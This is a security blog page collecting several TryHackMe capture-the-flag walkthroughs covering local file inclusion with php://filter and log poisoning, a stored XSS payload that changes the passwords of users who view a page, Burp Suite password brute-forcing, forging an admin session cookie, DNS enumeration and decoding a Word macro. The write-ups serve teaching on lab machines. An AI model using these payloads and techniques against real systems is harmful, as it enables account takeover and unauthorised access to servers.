-->

ABOUT US

Our development agency is committed to providing you the best service.

OUR TEAM

The awesome people behind our brand ... and their life motto.

  • Kumar Atul Jaiswal

    Ethical Hacker

    Hacking is a Speed of Innovation And Technology with Romance.

  • Kumar Atul Jaiswal

    CEO Of Hacking Truth

    Loopholes are every major Security,Just need to Understand it well.

  • Kumar Atul Jaiswal

    Web Developer

    Techonology is the best way to Change Everything, like Mindset Goal.

OUR SKILLS

We pride ourselves with strong, flexible and top notch skills.

Marketing

Development 90%
Design 80%
Marketing 70%

Websites

Development 90%
Design 80%
Marketing 70%

PR

Development 90%
Design 80%
Marketing 70%

ACHIEVEMENTS

We help our clients integrate, analyze, and use their data to improve their business.

150

GREAT PROJECTS

300

HAPPY CLIENTS

650

COFFEES DRUNK

1568

FACEBOOK LIKES

STRATEGY & CREATIVITY

Phasellus iaculis dolor nec urna nullam. Vivamus mattis blandit porttitor nullam.

PORTFOLIO

We pride ourselves on bringing a fresh perspective and effective marketing to each project.

Showing posts with label Walkthrough. Show all posts
Showing posts with label Walkthrough. Show all posts
  • TryHackMe Web Exploitation Patch Management Is Hard

     

     

    TryHackMe Web Exploitation Patch Management Is Hard

     

     

    Get started with Cyber Security in 25 days, by learning the basics and completing a new, beginner friendly security exercise every day leading up until Christmas; an advent calendar but with security challenges and not chocolate.


    Hey Guys! Sorry for the delay but, we are back with Day 6 of the “ Advent of Cyber” event by TryHackMe. If you haven’t solved the Day 5 challenge click here.


    This challenge is again based on Web Exploitation and the task is named


    Patch Management is Hard


    DAY 6

    Story


    During a routine security audit before the Incident, McSkidy discovered some recovery passwords on an old server. She created a ticket to decommission this server to reduce this security vulnerability. The Elf assigned to fix this vulnerability kept pushing off the task, and this never got done. Luckily, some of those recovery keys can be used to save some systems.

    Unfortunately, the only way to access the server is through an old web application. See if you can pull out those recovery keys to help McSkidy with her pursuit to save Christmas.



    Learning Objectives of the day


    1.     What is LFI?
    2.     How to perform LFI?
    3.     How to elevate from LFI to RCE?


    Let us understand the concepts targeted for today first!




    What is LFI?


    An LFI vulnerability is found in various web applications. As an example, in the PHP, the following functions cause this kind of vulnerability:


    1.     include
    2.     require
    3.     include_once
    4.     require_once


        
        

    It is a web application vulnerability that allows the attacker to include and read local files on the server. These files could contain sensitive data such as cryptographic keys, databases that contain passwords, and other private data. An LFI vulnerability happens due to a developer’s lack of security awareness. In some cases, developers need to include the content of other local files within a specific page. Suppose a developer includes files without proper input validation. In that case, the LFI vulnerability will exist as a developer should never trust user input and keep all inputs from users to be filtered and sanitized. The main issue of these vulnerabilities is the lack of input validation, in which the user inputs are not sanitized or validated, and the user controls them.


    You should read the content given with the challenge for the best understanding of LFI



    Q1.Deploy the attached VM and look around. What is the entry point for our web application?

     


    TryHackMe Web Exploitation Patch Management Is Hard



    Ans :- err


    Q2.Use the entry point to perform LFI to read the /etc/flag file. What is the flag?

    We first go to our entry point and replace the error.txt file with ‘/etc/passwd’ file just to check if we can get it!


    root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh mysql:x:101:102:MySQL Server,,,:/nonexistent:/bin/false 
    
    
    




    Yes we have access, but normally we shouldn’t have that!


    TryHackMe Web Exploitation Patch Management Is Hard



    Now we check for /etc/flag and voila!



    Ans :- THM{d29e08941cf7fe41df55f1a7da6c4c06}



    Q3.Use the PHP filter technique to read the source code of the index.php. What is the $flag variable’s value?

    We use the PHP filter technique to read the code for index.php by using :

    php://filter/convert.base64-encode/resource=

    https://10-10-247-133.p.thmlabs.com/index.php?err=php://filter/convert.base64-encode/resource=index.php
    



    TryHackMe Web Exploitation Patch Management Is Hard



    Once we find the base64 encoding for it, we go to https://www.base64decode.org/ and decode it for our answer!

    Or

    You can use the base64 command in terminal...


    echo "aplhanumeric character" | base64 -d


    echo "PD9waHAgc2Vzc2lvbl9zdGFydCgpOwokZmxhZyA9ICJUSE17NzkxZDQzZDQ2MDE4YTBkODkzNjFkYmY2MGQ1ZDllYjh9IjsKaW5jbHVkZSgiLi9pbmNsdWRlcy9jcmVkcy5waHAiKTsKaWYoJF9TRVNTSU9OWyd1c2VybmFtZSddID09PSAkVVNFUil7ICAgICAgICAgICAgICAgICAgICAgICAgCgloZWFkZXIoICdMb2NhdGlvbjogbWFuYWdlLnBocCcgKTsKCWRpZSgpOwp9IGVsc2UgewoJJGxhYk51bSA9ICIiOwogIHJlcXVpcmUgIi4vaW5jbHVkZXMvaGVhZGVyLnBocCI7Cj8+CjxkaXYgY2xhc3M9InJvdyI+CiAgPGRpdiBjbGFzcz0iY29sLWxnLTEyIj4KICA8L2Rpdj4KICA8ZGl2IGNsYXNzPSJjb2wtbGctOCBjb2wtb2Zmc2V0LTEiPgogICAgICA8P3BocCBpZiAoaXNzZXQoJGVycm9yKSkgeyA/PgogICAgICAgICAgPHNwYW4gY2xhc3M9InRleHQgdGV4dC1kYW5nZXIiPjxiPjw/cGhwIGVjaG8gJGVycm9yOyA/PjwvYj48L3NwYW4+CiAgICAgIDw/cGhwIH0KCj8+CiA8cD5XZWxjb21lIDw/cGhwIGVjaG8gZ2V0VXNlck5hbWUoKTsgPz48L3A+Cgk8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1kYW5nZXIiIHJvbGU9ImFsZXJ0Ij5UaGlzIHNlcnZlciBoYXMgc2Vuc2l0aXZlIGluZm9ybWF0aW9uLiBOb3RlIEFsbCBhY3Rpb25zIHRvIHRoaXMgc2VydmVyIGFyZSBsb2dnZWQgaW4hPC9kaXY+IAoJPC9kaXY+Cjw/cGhwIGlmKCRlcnJJbmNsdWRlKXsgaW5jbHVkZSgkX0dFVFsnZXJyJ10pO30gPz4KPC9kaXY+Cgo8P3BocAp9Cj8+</div>" | base64 -d
    



    TryHackMe Web Exploitation Patch Management Is Hard


    Answer :-  THM{791d43d46018a0d89361dbf60d5d9eb8}


    Q4.McSkidy forgot his login credential. Can you help him to login in order to recover one of the server’s passwords?


    Now that you read the index.php, there is a login credential PHP file’s path. Use the PHP filter technique to read its content. What are the username and password?


    Using the same base64 encoding of index.php file, we also see that there is ./includes/creds.php which has the credentials.



    https://10-10-231-193.p.thmlabs.com/index.php?err=php://filter/convert.base64-encode/resource=./includes/creds.php
    
    


    TryHackMe Web Exploitation Patch Management Is Hard


    We do the same process and use the PHP filter process to go to this file and then decode it and get the credentials!



    TryHackMe Web Exploitation Patch Management Is Hard



    Answer:- McSkidy:A0C315Aw3s0m




    Q5.Use the credentials to login into the web application. Help McSkidy to recover the server’s password. What is the password of the flag.thm.aoc server?

    We have the username and password, we login and we see a fe options!


    TryHackMe Web Exploitation Patch Management Is Hard



    We know we have to recover the password, so we go on password recovery



    TryHackMe Web Exploitation Patch Management Is Hard


    Answer:- THM{552f313b52e3c3dbf5257d8c6db7f6f1}


    Q6.The web application logs all users’ requests, and only authorized users can read the log file. Use the LFI to gain RCE via the log file page. What is the hostname of the webserver? The log file location is at ./includes/logs/app_access.log.

    We send in a CURL command in order to test the logs and see how it shows.


    curl -A "TESTIN TESTING" http://10-10-88-123.p.thmlabs.com/login.php

    the “-A” option helps us set the User Agent and we see TESTIN TESTING as user agent


    Now, we do the same, instead with a little php payload to display the phpinfo!



    TryHackMe Web Exploitation Patch Management Is Hard


    Now to check the log file we need to go to “./includes/logs/app_access.log”, but, for that, we need to go to another window where we a re not logged in to actually check it!


    And we see the PHP info file in the logs!!!!!

    We can see the hostname directly in the phpinfo in the System column

    Answer:- lfi-aoc-awesome-59aedca683fff9261263bb084880c965


    The question does ask for RCE, but the this task can be completed without RCE!



    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

     


  • TryHackMe Web Exploitation Pesky Elf Forum XSS

     

    TryHackMe Web Exploitation Pesky Elf Forum XSS

     

     

    We are back with Day 5 of the “ Advent of Cyber” event by TryHackMe. If you haven’t solved the Previous Day challenge click here.

    This challenge is again based on Web Exploitation and the task is named Pesky Elf Forum. TryHackMe Web Exploitation Pesky Elf Forum XSS



    Learning Objectives:


    • What is an XSS vulnerability?
    • What Types of XSS vulnerabilities are there?
    • Challenge Walkthrough.




    What is an XSS vulnerability?


    Cross-Site Scripting, better known as XSS in the cybersecurity community, is classified as an injection attack where malicious JavaScript gets injected into a web application with the intention of being executed by other users.


    If you can get JavaScript to run on a victim’s computer, there are numerous things you can achieve. This can range from stealing the victim’s cookies to take over their session, running a keylogger that will log every key the user presses on their keyboard while visiting the website, redirecting the user to a totally different website altogether or performing some kind of action on the website such as placing an order, or resetting their password etc.



    What types of XSS vulnerabilities are there?



    1. DOM
    2. Reflected
    3. Stored
    4. Blind





    Let’s Get Started..

    1. What flag did you get when you disabled the plugin?

     

     

    TryHackMe Web Exploitation Pesky Elf Forum XSS

     

     

    Login using Username: McSkidy Password: password

    Leave a comment on any post as Follow <a href="https://www.kumaratuljaiswal.in">kumaratuljaiswal.in</a>


     

    TryHackMe Web Exploitation Pesky Elf Forum XSS

     

     



    Once your comment is posted, you’ll see that the word ‘kumaratuljaiswal.in’ has been underlined.

     

     

    TryHackMe Web Exploitation Pesky Elf Forum XSS



    This means the comment is reflected as you wrote it without the underline HTML tags being stripped out. As this isn’t being stripped out, you can try the HTML script tags instead to see if the website will run any JavaScript that is entered.



    Using the URL, you found earlier for changing the user’s password, you can try the following payload:


    <script>fetch('/settings?new_password=pass123');</script>

     

     

    The <script> tag tells the browser we want to run some JavaScript, and the fetch command makes a network request to the specified URL.

    After posting the above as a comment, you could view the webpage source to see whether it has been shown correctly. The screenshot below shows us that the script tags aren’t being stripped out or disabled and, in fact, are working:


     


    TryHackMe Web Exploitation Pesky Elf Forum XSS


     

     


    Now that we have this XSS running on the forum, it means that any logged in users viewing the thread will automatically have their password changed to pass123. So let’s log out and see if the Grinch has visited the thread by trying to log in as them (It may take up to a minute before the Grinch visits the page and their password changes).



    Username: grinch

    Password: pass123



    Once logged in, go to the settings page again, and this time, you’ll discover another feature with the option to disable the Christmas to Buttmas plugin.


     

    TryHackMe Web Exploitation Pesky Elf Forum XSS

     


    Disable the plugin, and you’ll be awarded a flag.

     

     

    TryHackMe Web Exploitation Pesky Elf Forum XSS


     

    Done :-)

     

     

     

    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

     

  • TryHackMe Web Exploitation Santa's Running Behind

     



     

    Story



    McSysAdmin managed to reset everyone’s access except Santa’s! Santa’s expected some urgent travel itinerary for his route over Christmas. Rumour has it that Santa never followed the password security recommendations. Can you use bruteforcing to help him access his accounts?
    Learning Objectives of the day


    1. Understanding authentication and where it is used
    2. Understanding what fuzzing is
    3. Understanding what Burp Suite is and how we can use it for fuzzing a login form to gain access
    4. Apply this knowledge to retrieve Santa’s travel itinerary




    Let us understand the concepts targeted for today first!


    What is authentication, and where is it Used?

    Authentication is the process of verifying a user’s identity, establishing that they are who they say they are. Authentication can be proven using a variety of authentication means, including:

    • A known set of credentials to the server and user such as a username and password
    • Token authentication (these are unique pieces of encrypted text)
    • Biometric authentication (fingerprints, retina data, etc.)




    Authentication is often used interchangeably with authorisation, but it is very different. Authorisation is a term for the rules defining what an authenticated user can and cannot access.


    What is Fuzzing?



    Put simply, fuzzing is an automated means of testing an element of a web application until the application gives a vulnerability or valuable information. When we are fuzzing, we provide information as we would typically when interacting with it, just at a much faster rate. This means that we can use extensive lists known as wordlists to test a web application’s response to various information.
     

     


    Steps to Fuzz with Burp Suite



    Let’s launch FireFox by navigating to “Applications -> Internet-> Firefox”

    avigate to the login form in the web browser using the vulnerable IP address (http://MACHINE_IP) (note that the IP address in the screenshots is only an example, you will need to replace this with the MACHINE_IP)

     

     


     


    And press “Intercept On” in “Proxy -> Intercept”

    Now we will need to return to our Firefox Browser and enable the FoxyProxy extension in Firefox. You can do this by pressing the “FoxyProxy” extension and pressing “Burp

    Submit some dummy data on the login form


    Let’s launch Burp Suite by navigating to “Applications -> Other -> Burp Suite”

    Navigate to the “Proxy” tab

     

    TryHackMe Web Exploitation Santa's Running Behind

     

     


    We will need to return to Burp Suite, where we will see some data has now been returned to us. Right-click the window containing the data and press “Send to Intruder
        
        

    TryHackMe Web Exploitation Santa's Running Behind


     

     
    Navigate to the “Intruder” tab

    10.1. Click the “Positions” tab and clear the pre-selected positions by pressing “Clear $”

    10.2. Add the value of the “username” parameter as the first position, sometimes we will already know the username, other times we will not. We can tell Burp to use a wordlist of usernames for this position as well. However, as the username is already known (i.e. cmnatic), we are just brute-forcing the password. (this can be done by highlighting the password parameter and clicking “Add $”)

    10.3. Add the “password” value as the position (i.e. password123) (this can be done by highlighting the value in the password parameter and clicking “Add $”)

     

     

    TryHackMe Web Exploitation Santa's Running Behind

     

     
    10.4. Select “Cluster Bomb” in the Attack type in the dropdown menu.

    10.5. We will now need to provide some values for Burp Suite to fuzz the login form with passwords. We can provide a list manually, or we can provide a wordlist. I will be providing a wordlist.

     

     

     TryHackMe Web Exploitation Santa's Running Behind

     


    TryHackMe Web Exploitation Santa's Running Behind


     

     TryHackMe Web Exploitation Santa's Running Behind

     

     



    11. Now after selecting our wordlist, we can see that some passwords have filled the “Payload Options” window

    12. Now let’s press the “Start Attack” button, this will begin fuzzing the login form. Look at the results and sort by “Length”. Unsuccessful passwords will return a certain length, and successful passwords will return another length.



    TryHackMe Web Exploitation Santa's Running Behind


     

    Now that we understand how to use Burp Suite, we can create our own attacks and complete the challenge!

     



    Q1. What valid password can you use to access the “santa” account?

    Follow the steps mentioned above and create your own attack.

    If you read the challenge properly, the link for the wordlist is given there already.

    Use this wordlist for your attack and select the Cluster attack for this challenge.

    Navigate to the vulnerable login form at http://10.10.205.31/ and apply the material for
    today's task to login to Santa's itinerary, using the username as "santa" and the password
    list located at /root/Rooms/AoC3/Day4/passwords.txt on the TryHackMe AttackBox (or download
    it from here for your payload.
    
    
    


    Answer - cookie




    Q2. What is the flag in Santa’s itinerary?

    Once you have logged in from the login panel, you get the flag!!


    TryHackMe Web Exploitation Santa's Running Behind


     

    Answer - THM{SANTA_DELIVERS}


     

     

    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

     

     

  • TryHackMe Web Exploitation Session Cookies

     

     

    TryHackMe Web Exploitation Session Cookies

     

    Story


    McSkidy needs to check if any other employee elves have left/been affected by Grinch Industries attack, but the systems that hold the employee information have been hacked. Can you hack them back to determine if the other teams in the Best Festival Company have been affected?



    Learning Objectives of Day 2:
     

    • Understanding the underlying technology of web servers and how the web communicates.
    • Understand what cookies are and their purpose.
    • Learn how to manipulate and manage cookies for malicious use.



    Let us understand the concepts targeted for today first!



    HTTP(S)



    he HTTP protocol is a client-server protocol to provide communication between a client and a webserver. HTTP requests are similar to a standard TCP network request; however, HTTP adds specific headers to the request to identify the protocol and other information.

    When an HTTP request is crafted, the method and target header will always be included. The target header will specify what to retrieve from the server, and the method header will specify how.

    When retrieving information from a web server, it is common to use the GET method, such as loading a picture.

    When sending data to a web server, it is common to use the POST method, such as sending login information.





    Example Request

    GET / HTTP/1.1
    Host: tryhackme.com
    User-Agent: Mozilla/5.0 Firefox/87.0
    Referer: https://tryhackme.com/
    
    
    


    Example Response


    HTTP/1.1 200 OK
    Server: nginx/1.15.8
    Date: Wednesday, 24 Nov 2021 13:34:03 GMT
    Content-Type: text/html
    Content-Length: 98
    
    
    



    Cookies


    Cookies are tiny pieces of data (metadata) or information locally stored on your computer that are sent to the server when you make a request.

    Cookies can be assigned any name and any value allowing the webserver to store any information it wants. Today we will be focusing on authentication cookies, also known as session cookies. Authentication or session cookies are used to identify you and what access level is attached to your session.



    Cookie Manipulation


    Cookie manipulation is taking a cookie and modifying it to obtain unintended behavior determined by the web developer. Cookie manipulation is possible because cookies are stored locally on your host system, meaning you have complete control over them and modify them as you please.

    To begin modifying and manipulating cookies, we need to open our developer tools. In Google Chrome, developer tools are known as the “Chrome Developer Tools,” and in Mozilla Firefox, they are known as the “Firefox Developer Tools.”

    Developer tools can be accessed by pressing F12 or Ctrl+Shift+I. Once developer tools are open, to access your cookies, navigate to the Storage tab in Firefox or Application tab in Chrome/Edge; select the Cookies dropdown on the left-hand side of the console.

    Now that we understand these basic terms and concepts! Lets Enumerate!!



    Q1. What is the name of the new cookie that was created for your account?


    Once you open the website from the given link, you have to register an account.




    TryHackMe Web Exploitation Session Cookies

    
    
        Advent of Cyber
    
    
        Welcome To Advent of Cyber!
    
     
     

    Then open the developer options and check for the cookie and find out the cookie name


    TryHackMe Web Exploitation Session Cookies


    Answer: user-auth


    Q2. What encoding type was used for the cookie value?

    If you notice the value of the cookie that was generated,it is alphanumeric with more of numbers and less of alphabets.


    TryHackMe Web Exploitation Session Cookies


    Mostly all these alphabets are between “a” and “f” and we know only kind of encoding that is this way which is


    Answer: Hexadeciaml



    Q3. What object format is the data of the cookie stored in?

    We can see that the value of the cookie is encoded so we need to go and get the value decoded.

    We can do this by going onto CyberChef and inputting our cookie value. We convert it from hex so we get our output



    TryHackMe Web Exploitation Session Cookies


    From the image we can clearly see that the data is stored in key-value pairs and that is why it is called

    Answer: JSON



    Now we need to manipulate the cookie to get Admin access!!

    Now copy the json output and set it as the input for this conversion in CyberChef tool. Select the option of “ To Hex” and set the delimiter as none so as to avoid all the spaces that come with it.



    TryHackMe Web Exploitation Session Cookies


    Once we do that, we have the value of the same json with user as “admin”

    Q4. What is the value of the administrator cookie? (username = admin)


    Ans :-


     7b636f6d70616e793a2022546865204265737420466573746976616c20436f6d70616e79222c206973726567697374657265643a2254727565222c20757365726e616d653a2261646d696e227d
    
    
    
    


    You can also decode this hex value via terminal through this command 

     

     

    echo " 7b636f6d70616e793a2022546865204265737420466573746976616c20436f6d70616e79222c206973726567697374657265643a2254727565222c20757365726e616d653a2261646d696e227d" | xxd -r -p
    

     

     

     

    TryHackMe Web Exploitation Session Cookies

     

     

     

    We have the value of the admin login cookie, so we go back to our page and edit the value of the cookie into this new value for admin login.

    and Voila!!

    We are now Admin!!


    TryHackMe Web Exploitation Session Cookies



    Q5. What team environment is not responding?


    Ans :- HR



    Q6. What team environment has a network warning?


    Ans :- Application



    All answer done :-)




    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

     

  • Dig Dug DNS Server Enumeration

     

    Dig Dug DNS Server Enumeration

     



    Dig Dug DNS Server Enumeration


    Turns out this machine is a DNS server - it's time to get your shovels out


    Oooh, turns out, this 10.10.5.208 machine is also a DNS server! If we could dig into it, I am sure we could find some interesting records! But... it seems weird, this only responds to a special type of request for a givemetheflag.com domain?
     

    Use some common DNS enumeration tools installed on the AttackBox to get the DNS server on 10.10.5.208 to respond with the flag.

    Click on the link below -




    DNS in detail

    Dig in Networking 

    WHOIS in Networking 

    CEHv10 DNS

     
    Passive Reconnaissance
    DNS Manipulation

     

    First, it is worth checking what ports are open on the machine. but we will jump into directly dns enumeration. If you wanna dns enumeration with dnspython then you can do it but first we will dns tool in linux after that we will make a DNS tool with the help of python programming language.



    Dig


    Dig is a versatile DNS lookup utility that can query domain name server records. Using Dig, we can get the flag by specifying the name server (target host’s address), the domain name, and A at the end to establish we are looking for the A record.


    When you visit a website in your web browser this all happens automatically, but we can also do it manually with a tool called dig . Like ping and traceroute, dig should be installed automatically on Linux systems.


    Dig allows us to manually query recursive DNS servers of our choice for information about domains:
    dig <domain> @<dns-server-ip>

    It is a very useful tool for network troubleshooting.


     


     

     

    dig @10.10.5.208 givemetheflag.com A 

     

     


     

     

    nslookup


    nslookup is another tool excellent for query domain name servers. Using the target host IP as the DNS server, we can query the A record to get the flag.


     


     

     

     

      
      ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python]
    └─$ nslookup -type=A givemetheflag.com 10.10.5.208                                                                                                                  1 ⨯
    Server:         10.10.5.208
    Address:        10.10.5.208#53
    
    givemetheflag.com       text = "flag{0767ccd06e79853318f25aeb08ff83e2}"
    
                                                                                                                                                                            
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python]
    └─$ 
      

     

     

    DNS in python 


    dnspython is a DNS toolkit for Python. It supports almost all record types. It can be used for queries, zone transfers, and dynamic updates. It supports TSIG authenticated messages and EDNS0.

    dnspython provides both high and low level access to DNS. The high level classes perform queries for data of a given name, type, and class, and return an answer set. The low level classes allow direct manipulation of DNS zones, messages, names, and records.

     

     

     

    ┌──(test)─(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python]
    └─$ cat dns-find.py                                                                                                                                                 1 ⨯
    #!/usr/bin/python
    #import dnspython as dns
    import dns
    #import dns.resolver
    from dns import resolver
    
    #result = dns.resovler.query('hackingtruth.org', 'A')
    
    result = dns.resolver.resolve('google.com', 'A')
    for ipval in result:
        print('IP', ipval.to_text())
                                                                                                                                                                            
    ┌──(test)─(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python]
    └─$ 
    
    

     

     


     

     

     


    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.



  • Tryhackme Embedded Marcos in Word Mr. Phisher Walkthrough

     

    Tryhackme Embedded Marcos in Word Mr. Phisher Walkthrough

     

     

    We'll be looking at a tryhackme room called MrPhisher so it says that i received a suspicious email with a very weird looking attachment it keeps on asking me to enable Macros what are those so this straight away gives us a hint that we are going to deal with Macros So, Macros is a type of scripting language that you know you can embed in a excel or a word file so that it can even try to automate things to an extent so nothing challenging it just says that files you need are located in the home ubuntu MrPhisher on virtual machine and i have the vm(virtual machine) open up right here.
     

     

    When we start the machine, we found two files in home directory. “MrPhisher.docm” is a document with the ability to run macros and the zip file has the same file but compressed.

     

     

     

    Tryhackme Embedded Marcos in Word Mr. Phisher Walkthrough
     

     

    If we try to get open the file, we see the document indeed contain macros.

     

    Tryhackme Embedded Marcos in Word Mr. Phisher Walkthrough

     


    The document shows this one image.


    Now, to view and edit macros using Libre Office, go to Tools menu, choose Macros > Edit Macros. This opens a list of macros available in the currently open document.


    Tryhackme Embedded Marcos in Word Mr. Phisher Walkthrough



    Tryhackme Embedded Marcos in Word Mr. Phisher Walkthrough



    This macro contains a visual basic script...

     

    If you want copy this file in your loca;l machine then you can try this with netcat, To make easy the analysis and be able to download needed tools, I transferred the file to my local machine with netcat.

     

    Local machine:


    nc -nlvp <PORT> > MrPhisher.docm


    Remote machine:


    Setting listener and getting file.

    nc <IP> <PORT> < MyPhisher.docm



    As a note, is important to verify the integrity of the transferred file, in previous images you can see I checked MD5 hash, and it’s the same.

    via md5sum

    md5sum MrPhisher.docm
     


    But we will use into vm direct.. this code is here...

     

     

     

    Rem Attribute VBA_ModuleType=VBAModule
    Option VBASupport 1
    
    Sub Format()
    
    Dim a()
    
    Dim b As String
    
    a = Array(102, 109, 99, 100, 127, 100, 53, 62, 105, 57, 61, 106, 62, 62, 55, 110, 113, 114, 118, 39, 36, 118, 47, 35, 32, 125, 34, 46, 46, 124, 43, 124, 25, 71, 26, 71, 21, 88)
    
    For i = 0 To UBound(a)
    
    b = b & Chr(a(i) Xor i)
    
    Next
    
    End Sub
    

     

     

     

    Three things are done here:

    •     XOR operation is done with a value and it's index in the array.
    •     The result of this operation is converted to a character.
    •     This character is appended to a string. The resulting string is a flag for this challenge.



    I wrote a Python script to solve this challenge. The code can be found down below.

     

     

    #! /usr/bin/env python3
    
    # Values array
    a = [102, 109, 99, 100, 127, 100, 53, 62, 105, 57, 61, 106, 62, 62, 55, 110, 113, 114, 118, 39, 36, 118, 47, 35, 32, 125, 34, 46, 46, 124, 43, 124, 25, 71, 26, 71, 21, 88]
    
    # Array to store letters
    flag = []
    
    # Do XOR operation with a value and it's index
    for i in range(len(a)):
        flag.append(chr(a[i] ^ int(i)))
    
    # Join letters to a word
    print("".join(flag))
    

     

     

    Lets Run

     

     

    Tryhackme Embedded Marcos in Word Mr. Phisher Walkthrough

     

     

     
    ubuntu@thm-mr-phisher:~/mrphisher$ nano hackingtruth-oledump.py
    ubuntu@thm-mr-phisher:~/mrphisher$ nano hackingtruth-oledump.py
    ubuntu@thm-mr-phisher:~/mrphisher$ nano hackingtruth-oledump.py
    ubuntu@thm-mr-phisher:~/mrphisher$ python3 hackingtruth-oledump.py
    flag{a39a07a239aacd40c948d852a5c9f8d1}
    ubuntu@thm-mr-phisher:~/mrphisher$ #hackingtruth.org
    ubuntu@thm-mr-phisher:~/mrphisher$ #hackingtruth.in
    ubuntu@thm-mr-phisher:~/mrphisher$ 
    
    
    

     

     

    Done.

     

     


    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.


  • TryHackMe Penetration Testing Challenge

     

    TryHackMe Penetration Testing Challenge


     

    We have been engaged in a Black-box Penetration Test (IP address may be differ). Our goal is to read the user flag and root flag file on machine. On some of them, you will be required to exploit a Abuse of write permission in Samba service in order to read the flag. TryHackMe Penetration Testing Challenge

    Some Machines are exploitable instantly but some might require exploiting other ones first. Enumerate every compromised machine to identify valuable information, that will help you proceed further into the environment.

    If you are stuck on one of the machines, don't overthink and start pentesting another one.

    When you read the flag file, you can be sure that the machine was successfully compromised. But keep your eyes open - apart from the flag, other useful information may be present on the system.

    You have been assigned to a client that wants a penetration test conducted on an environment due to be released to production in three weeks. 



    Scope of Work


    The client requests that an engineer conducts an external, web app, and internal assessment of the provided virtual environment. The client has asked that minimal information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test).  The client has asked that you secure two flags (no location provided) as proof of exploitation:



        User.txt
        Root.txt



    Additionally, the client has provided the following scope allowances:

        Ensure that you modify your hosts file to reflect internal.thm
        Any tools or techniques are permitted in this engagement
        Locate and note all vulnerabilities found
        Submit the flags discovered to the dashboard
        Only the IP address assigned to your machine is in scope



    (Roleplay off)



    I encourage you to approach this challenge as an actual penetration test. Consider writing a report, to include an executive summary, vulnerability and exploitation assessment, and remediation suggestions, as this will benefit you in preparation for the eLearnsecurity eCPPT or career as a penetration tester in the field.


    Enumeration

    First thing you have to do is that which the machine you  want to attack, you have to append internal.thm and point it to target machines IP address inside hosts file on attacker machine because the reason 1 is.

    As you probably already know, if you make any type of request to any hostname, the domain name gets translated to an IP address. In TCP/IP, only the IP address is transferred and not the hostname. In services such as HTTP(S), you also transfer the hostname in the “Host” HTTP header. If you visit a website through the URL with IP address in it, the Host header will contain the IP address. If you visit the URL with the hostname in it, the Host header will contain that hostname. Then it depends on the web server how it will process the request based on that header. In TLS handshake, you can also send the hostname in the “server_name” extension. So if the underlying back-end services only respond to the hostname, the easiest solution to send it natively is to modify your hosts file. The software that you use (e.g. a web browser) will do the rest. Credits: u/AMDcze (reddit).


    Reason 2: One IP address can host multiple websites on same webserver through virtual hosting (vhost) technique. If by any chance the target server has any multiple websites then it would be hard to figure out which is which. By pointing DNS in hosts file you are actually saying your apps to target only the specific domain.

    Reason 3: What if there are any subdomains? How to enumerate them without domain itself? While enumerating you have to expect that there’s a possibility of subdomain, so that you need domain itself. You can enumerate subdomain through an IP address


    Like :-



    TryHackMe Penetration Testing Challenge





    we do thing like enumeration by nmap and we will check which which ports are open and closed and state, service, version too.

    nmap -sC -sV internal.thm

      
    
    
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ sudo nmap -sC -sV internal.thm  
